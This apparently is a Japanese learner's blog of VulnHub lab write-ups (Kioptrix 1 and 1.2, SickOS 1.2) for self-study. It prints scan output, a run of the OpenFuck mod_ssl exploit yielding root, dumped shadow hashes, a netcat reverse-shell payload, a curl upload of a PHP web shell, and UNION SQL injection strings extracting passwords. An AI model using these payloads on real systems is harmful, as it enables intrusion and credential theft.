【WeiteUp】Kioptrix Level1
はじめに
いつぞやのリベンジでございます
Kioptrixを独力で攻略してみました
使用ツール
netdiscover
nmap
nikto
dirb
searchsploit
偵察
% nmap -sV -sS -p 1-10000 -T5 192.168.3.29
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-28 02:52 EDT
Nmap scan report for 192.168.3.29
Host is up (0.0031s latency).
Not shown: 9994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:DB:CD:D6 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.73 seconds
動作しているサービス
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
% dirb http://192.168.3.29
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Mar 28 03:26:48 2020
URL_BASE: http://192.168.3.29/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.3.29/ ----
+ http://192.168.3.29/~operator (CODE:403|SIZE:273)
+ http://192.168.3.29/~root (CODE:403|SIZE:269)
+ http://192.168.3.29/cgi-bin/ (CODE:403|SIZE:272)
+ http://192.168.3.29/index.html (CODE:200|SIZE:2890)
==> DIRECTORY: http://192.168.3.29/manual/
==> DIRECTORY: http://192.168.3.29/mrtg/
==> DIRECTORY: http://192.168.3.29/usage/
---- Entering directory: http://192.168.3.29/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.3.29/mrtg/ ----
+ http://192.168.3.29/mrtg/index.html (CODE:200|SIZE:17318)
---- Entering directory: http://192.168.3.29/usage/ ----
+ http://192.168.3.29/usage/index.html (CODE:200|SIZE:3704)
-----------------
END_TIME: Sat Mar 28 03:27:24 2020
DOWNLOADED: 13836 - FOUND: 6
有効なウェブディレクトリおよびページ
+ http://192.168.3.29/index.html (CODE:200|SIZE:2890)
==> DIRECTORY: http://192.168.3.29/manual/
==> DIRECTORY: http://192.168.3.29/mrtg/
==> DIRECTORY: http://192.168.3.29/usage/
+ http://192.168.3.29/mrtg/index.html (CODE:200|SIZE:17318)
+ http://192.168.3.29/usage/index.html (CODE:200|SIZE:3704)
% nikto -h 192.168.3.29
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.3.29
+ Target Hostname: 192.168.3.29
+ Target Port: 80
+ Start Time: 2020-03-28 02:56:00 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat+/etc/hosts: A backdoor was identified.
+ 8724 requests: 0 error(s) and 30 item(s) reported on remote host
+ End Time: 2020-03-28 02:56:39 (GMT-4) (39 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
いくつかの脆弱性
+ OSVDB-3092: /test.php: This might be interesting...
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat+/etc/hosts: A backdoor was identified.
および
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
→これらは可能性のため、改めての確認が必要
上記の情報から、以下の方針で侵入を試みる
1.nmapの結果に従い
111/tcp rpcbind 2 (RPC #100000)
139/tcp netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp status 1 (RPC #100024)
の脆弱性を確認
2.diebの結果に従い
+ http://192.168.3.29/index.html (CODE:200|SIZE:2890)
+ http://192.168.3.29/mrtg/index.html (CODE:200|SIZE:17318)
+ http://192.168.3.29/usage/index.html (CODE:200|SIZE:3704)
の脆弱性を確認
3.niktoの結果に従い
mod_ssl
の脆弱性を確認
侵入
1.nmapの結果より、以下に関する脆弱性をseachsploitで調査
111/tcp rpcbind 2 (RPC #100000)
139/tcp netbios-ssn Samba smbd (workgroup: MYGROUP)
1024/tcp status 1 (RPC #100024)
→有用な結果を得られず
443/tcp ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
→openfuck.cを確認
2.dirbの結果より、以下のURLに関する脆弱性を確認
+ http://192.168.3.29/index.html (CODE:200|SIZE:2890)
→Apacheが動いていることを確認、侵入可能な脆弱性は確認できず
+ http://192.168.3.29/mrtg/index.html (CODE:200|SIZE:17318)
→MRTGサービスが動いていることを確認、侵入可能な脆弱性は確認できず
+ http://192.168.3.29/usage/index.html (CODE:200|SIZE:3704)
→Webalizerサービスが動いていることを確認、侵入可能な脆弱性は確認できず
→すべてNG
mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
openfuckを取得し、exploit実行する
OpenFuck実行
.cファイルの中身を確認し、コンパイル等に関する情報を入手
/*
* OF version r00t VERY PRIV8 spabam
* Version: v3.0.4
* Requirements: libssl-dev ( apt-get install libssl-dev )
* Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
* objdump -R /usr/sbin/httpd|grep free to get more targets
* #hackarena irc.brasnet.org
* Note: if required, host ptrace and replace wget target
*/
記載通りに、以下コマンドを実行
% apt-get install libssl-dev
% gcc -o OpenFuck OpenFuck.c -lcrypto
引数にboxを指定するが、nmapより得られたApache 1.3.20およびRed-Hat Linuxから、
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
これらを引数の候補とする
% ./OpenFuck 0x6a 192.168.3.29 443
→NG
% ./OpenFuck 0x6b 192.168.3.29 443
→OK
kali@kali:~/SyachinekoLab/workspace/VulnHub/Kioptrix1$ ./OpenFuck 0x6b 192.168.3.29 443
*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--04:33:44-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
0K ... 100% @ 1.25 MB/s
04:33:45 (1.25 MB/s) - `ptrace-kmod.c' saved [3921/3921]
/usr/bin/ld: cannot open output file exploit: Permission denied
collect2: ld returned 1 exit status
gcc: file path prefix `/usr/bin' never used
whoami
root
rootをとれたので、権限昇格の必要はない
あれ、これで終わりだっけ??
探索
無事にマシン内に潜り込めたので、/etc/shadowファイルを確認
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::
rootを含む3ユーザのshadowを取得し、ローカルにコピー
john the ripperを用いてPWの解析を行う
wordlistには、既にKaliに配備されているrockyou.txtを使用した
% john --wordlist=/usr/share/wordlist/rockyou.txt
→ちょっと検索うまくいかない・・・
以上
Macが完全にお亡くなりに…
なりました
古いモデルなんですけどね、何をやってもダメ
起動ディスクを作って入れても、その先の読み込みで死んでしまう
画面真っ白になって、先に進まない
いやー、ちょっとどうしたもんかなぁ
悲しいけどもう捨てるしかないのかしら…
あと今日から公開されたPSYCHO-PASS見てたら時間が一瞬で溶けました
今日くらいいいよね…??
では!
【VulnHub】攻略・勉強記事まとめ
対象一覧
Kioptrix 1.0
WriteUp:
参考:
Kioptrix 1.1
WriteUp:
参考:
Kioptrix 1.2
WriteUp:
補足:
SickOS 1.2
WriteUp:
補足:
Basic Pentesting(未)
WriteUp:
参考:
Brainpan(未)
SickOS 1.2 侵入部分(chkrootkit, mkifio)
参考文献
いつもありがとうございます
【VulnHub】SickOs: 1.2 - Walkthrough - - Qiita
chkrootkitについて
rootkitが存在するかどうかを確認してくれるツール
参考:https://centossrv.com/chkrootkit.shtml
脆弱性の内容とexploit codeの内容
脆弱性の内容としては、
chkrootkitのスクリプトは、updateという名前のファイルを自動的に動かしてしまうらしい
そこで、そういった名前のファイルを用意する
中身はリバースシェルである
コードを書き込むペイロードは以下
$ echo '#!/bin/bash' > update
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.208.178 443 >/tmp/f' >> update
$ chmod 777 update
こうして書かれたスクリプトは
#!/bin/bash
rm /tmp/f;
mkinfo /tmp/f;
cat /tmp/f
| /bin/sh -i 2>&1
| nc 192.168.3.22 443 > /tmp/f;
となります
fを出力し、bashを起動し、ncでつなぎにいき、fに出力を戻す
んー、これでifioが動くのか…ちょっとよくわからない…
mkfifoコマンド
これ、知らなかったです(白目
https://qiita.com/richmikan@github/items/bb660a58690ac01ec295:
プロセス間通信(IPC)の方式の一つのようです
出来上がったファイルに何かを書き込もうとするとブロックモードになり、別ターミナル等でファイルを書き出すとブロックが解除され、書き込んだ内容が書き出される
逆に何もない状態でファイルを書き出そうとすると同様にブロックモードとなり、別でファイルに書き込むとブロックが解除されて書き込んだ情報が出力される
以上
SickOS 1.2 webDAVとPHPによるweb shell実行
今回はVulnHubのSickOS 1.2について、内容を写経しようと思います
参考文献は以下
今回のキーとなるものの一つに、webDAVがあるようです
webDAV
webDAVはWeb-based Distributed Authoring and Versioningの略である
webサーバ上のファイル管理を目的とした分散プロトコルらしい
参考:https://ja.wikipedia.org/wiki/WebDAV
FTPやSCPに頼らず、ファイルのアップロードや更新などが行える
あっそれあかんやつやん。。。
webDAVのメソッドとして、以下がある
PROPFIND:指定したURIが示す資源の属性を取得する 具体的には、要求する属性をクライアントがWebサーバに送信すると、サーバはそれに対応した属性値を返す また、その資源の属性全てを取得することも出来る
PROPPATCH:指定したURIが示す資源の属性の設定や削除を行う
MKCOL:指定したURIの場所に新たな資源を作成する
COPY:指定したURIが示す資源およびその属性値を別のURIにコピーする
MOVE:指定したURIが示す資源およびその属性値を別のURIに移動する
LOCK:指定したURIが示す資源のファイルロックを設定する 共有ロックと排他ロックの二種類が利用できる
UNLOCK:指定したURIが示す資源のロックを解除する
なので、逆にここらへんのメソッドを見つけたらwebDAVを連想する必要がある
今回のケースでは、curl --head -X OPTIONS http://172.16.208.163/test/をサーバに送信することで、使用できるメソッドの一覧が取得でき、webDAVが利用可能なことがわかる
ここにweb shellのphpを仕込むんですね・・・
用意されているcurl文は以下になります
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://172.16.208.163/test/shell.php
-d以下の内容のファイルがPUTで作成される、と
PHPによるWEB SHELLについて
Walkthruoghでは、上記のようにサーバ上にweb shellとして動作するphpファイルをアップロードしています
正直phpのことあんまりわかってないので、構文について理解が乏しいです
参考文献をもとに、phpについて少し学んでみました
・形として、<?php 関数(引数);>といった形になっている
・変数、繰り返し、オブジェクト指向、、、もろもろできる(知らなかった。。。)
さらに別の文献
・$_POST["XXX"], $_GET["YYY"]
上記はスーパーグローバル関数と呼ばれ、それぞれのメソッドで特定の変数に紐づいた値を格納する
例)POSTで-d "XXX:xxx"とするとxxxが、GETで?YYY=yyyとするとyyyがそれぞれ得られる
今回は、system($_GET["cmd"])となっているので、
?cmd=ls などとすれば、$_GET["cmd"]がlsとなり、system関数でlsが呼ばれる、といった具合
参考:https://www.php.net/manual/ja/function.system.php
残りは次回!
以上。
Kioptrix: Level1.2 SQL Injectionについて
SQL Injectionについて出てきたのでまとめる
※筆者は理解しようとしてこの記事書いてるので、思考回路まんま記載してます
解説記事ではないのでご了承ください
内容について
もともとはこっちから
phpにおけるSQL Injectionの脆弱性の例
?id=1'を挿入することで、SQL構文エラーとなった
また、?id=''を挿入することで、SQL構文エラーが回避された
この時のphp側の形は・・・・?
XXX['$VARIABLE']
=> XXX['1''] => ERROR!
=> XXX[''''] => OK
ということか?
SQL Injectionの参考文献をいくつか確認する必要あり
その後、union select columns_sequenceを1, 2, 3, x-1に置き換えて発行
これって、カラムが6列あることは試してみないとわからないってことですよね??
?id=-1 union select XXXで、
(aaa, bbb, ccc, ddd, eee, fff)
(qqq, www, eee, rrr, ttt, yyy)
(1 , 2 , 3 , 4 , 5 , 6 )
こうすることで初めてエラーなく出力が可能になる
それ以外の場合の出力についても確認すること
※id=-1としているのは、union以下の行が確実に読まれるように存在しないidを指定している、であってるかな
さらに、脆弱な出力が2の部分であることが判明したので、
この部分にいろいろな組み込み関数を入れて出力を試している
version()やdetabase()、user()などがあるが、どのようなものが他にあるか・・・?
=>情報関数として、いろいろあるようだ
といっても、これくらいしか有用なのなかった
で、次のSQL
?id=-1 union select 1,group_concat (table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
group_concatは連結された文字列を返却する
上記の内容の意味は、
information_schemaスキーマにあるtablesテーブルのtable_nameカラムを引っ張っている
tablesテーブルには少なくとも2つのカラムがあり、table_nameおよびtable_schemaを持っている
tablesテーブルの構成は以下
確かに、teble_nameとtable_schemaカラムが存在していることが確認できる
で、テーブル名を列挙して、それっぽいテーブルdev_accountsを確認
次のSQL Injectionでは以下の構文
?id=-1 union select 1,group_concat (column_name),3,4,5,6 from information_schema.columns where table_name=CHAR(100, 101, 118, 95, 97, 99, 99, 111, 117, 110, 116, 115)--
columnsテーブルは以下の感じ
とあるtable_schemaのとあるtable_nameにあるcolumn_nameってことで特定できる、と
これで検索かけて、id, username, passwordというカラム構成になっていることがわかるそう
ちょっと疑問だったのが、table_nameの部分をCHARであらわさなければいけないという部分
少し調べても出てこなかったので、どうしよう
ちなみにCHARとの変換は以下を使いました
http://www.waraxe.us/sql-char-encoder.html
で、3段目
?id=-1 union select 1,group_concat (username, 0x3a, password),3,4,5,6 from dev_accounts--
これでようやくユーザ名とパスワードハッシュが抜けましたとさ
Information_schemaについて
Information_schemaとは、特定のDBに対するテーブル名、カラム名といった読み取り専用情報のこと
おわりに
mysqlを題材としたphpのSQL Injectionについて理解が深まりましたー!
以上!